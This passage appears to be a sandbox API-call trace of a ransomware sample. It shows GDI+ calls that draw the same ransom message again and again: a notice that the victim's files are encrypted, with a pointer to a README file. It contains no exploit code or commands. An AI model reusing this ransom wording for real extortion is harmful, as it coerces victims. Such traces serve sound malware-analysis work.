brush=0x1af0dba0) returned 0x0 [0159.664] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bf68) returned 0x0 [0159.664] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.664] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.664] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.666] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.666] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.666] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.666] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220bfe0) returned 0x0 [0159.666] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.666] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.666] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.667] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.667] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.667] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.667] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c058) returned 0x0 [0159.667] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.667] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.667] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.668] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.668] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.668] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.668] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c0d0) returned 0x0 [0159.668] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.668] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.668] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.669] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.669] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.669] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.669] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c148) returned 0x0 [0159.669] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.669] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.669] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.670] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.670] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.670] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.670] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c1c0) returned 0x0 [0159.670] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.670] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.670] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.671] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.671] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.671] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.671] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c238) returned 0x0 [0159.671] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.671] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.671] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.672] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.672] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.672] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.672] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c2b0) returned 0x0 [0159.672] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.672] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.672] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.673] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.673] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.673] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.673] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c328) returned 0x0 [0159.673] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.673] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.673] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.674] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.674] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.674] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.674] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c3a0) returned 0x0 [0159.674] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.674] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.674] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.675] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.675] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.675] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.675] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c418) returned 0x0 [0159.675] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.675] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.675] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.676] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.676] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.676] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.676] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c490) returned 0x0 [0159.676] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.676] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.676] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.677] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.677] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.677] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.677] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c508) returned 0x0 [0159.677] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.677] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.677] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.678] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.678] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.678] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.678] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c580) returned 0x0 [0159.678] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.678] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.678] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.679] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.679] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.679] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.679] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c5f8) returned 0x0 [0159.679] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.679] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.679] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.680] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.680] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.680] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.680] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c670) returned 0x0 [0159.680] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.680] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.680] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.681] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.681] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.681] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.681] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c6e8) returned 0x0 [0159.681] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.681] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.681] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.681] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.682] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.682] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.682] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c760) returned 0x0 [0159.682] GdipSetStringFormatAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.682] GdipSetStringFormatLineAlign (format=0x1bdca3f0, align=0x1) returned 0x0 [0159.682] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca3f0, brush=0x1bdcccc0) returned 0x0 [0159.682] GdipDeleteStringFormat (format=0x1bdca3f0) returned 0x0 [0159.683] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.683] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.683] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c7d8) returned 0x0 [0159.683] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.683] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.683] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.683] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.683] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.684] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.684] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c850) returned 0x0 [0159.684] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.684] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.684] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.685] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.685] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.685] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.685] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c8c8) returned 0x0 [0159.685] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.685] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.685] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.686] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.686] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.686] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.686] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c940) returned 0x0 [0159.686] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.686] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.686] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.687] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.687] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.687] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.687] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220c9b8) returned 0x0 [0159.687] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.687] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.687] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.688] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.688] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.688] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.688] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220ca30) returned 0x0 [0159.688] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.688] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.688] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.689] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.689] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.689] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.689] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220caa8) returned 0x0 [0159.689] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.689] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.689] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.690] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.690] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.690] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.690] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cb20) returned 0x0 [0159.690] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.690] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.690] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.691] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.691] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.691] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.691] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cb98) returned 0x0 [0159.691] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.691] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.691] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.692] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.692] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.692] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.692] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cc10) returned 0x0 [0159.692] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.692] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.692] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.693] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.693] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.693] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.693] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cc88) returned 0x0 [0159.694] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.694] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.694] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.694] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.694] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.694] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.694] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cd00) returned 0x0 [0159.694] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.695] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.695] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.695] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.695] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.695] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.695] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cd78) returned 0x0 [0159.695] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.695] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.696] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private key.\r\n\r\nFor more information how to get your files back read VLLNRZRF-README.txt\r\nthat is located in every encrypted folder.\r\n", length=287, font=0x1b81e980, layoutRect=0x1af0db38, stringFormat=0x1bdca310, brush=0x1bdcccc0) returned 0x0 [0159.696] GdipDeleteStringFormat (format=0x1bdca310) returned 0x0 [0159.696] GdipDeleteBrush (brush=0x1bdcccc0) returned 0x0 [0159.696] GdipCreateSolidFill (color=0xffffffffffffffff, brush=0x1af0dba0) returned 0x0 [0159.696] GdipCreateStringFormat (formatAttributes=0, language=0x0, format=0x220cdf0) returned 0x0 [0159.696] GdipSetStringFormatAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.696] GdipSetStringFormatLineAlign (format=0x1bdca310, align=0x1) returned 0x0 [0159.696] GdipDrawString (graphics=0x1b87d3c0, string="Good day, 5p5NrGJn0jS HALPmcxz\r\nAll your files such as documents, images, videos and other files have been encrypted\r\nand cannot be restored without the private 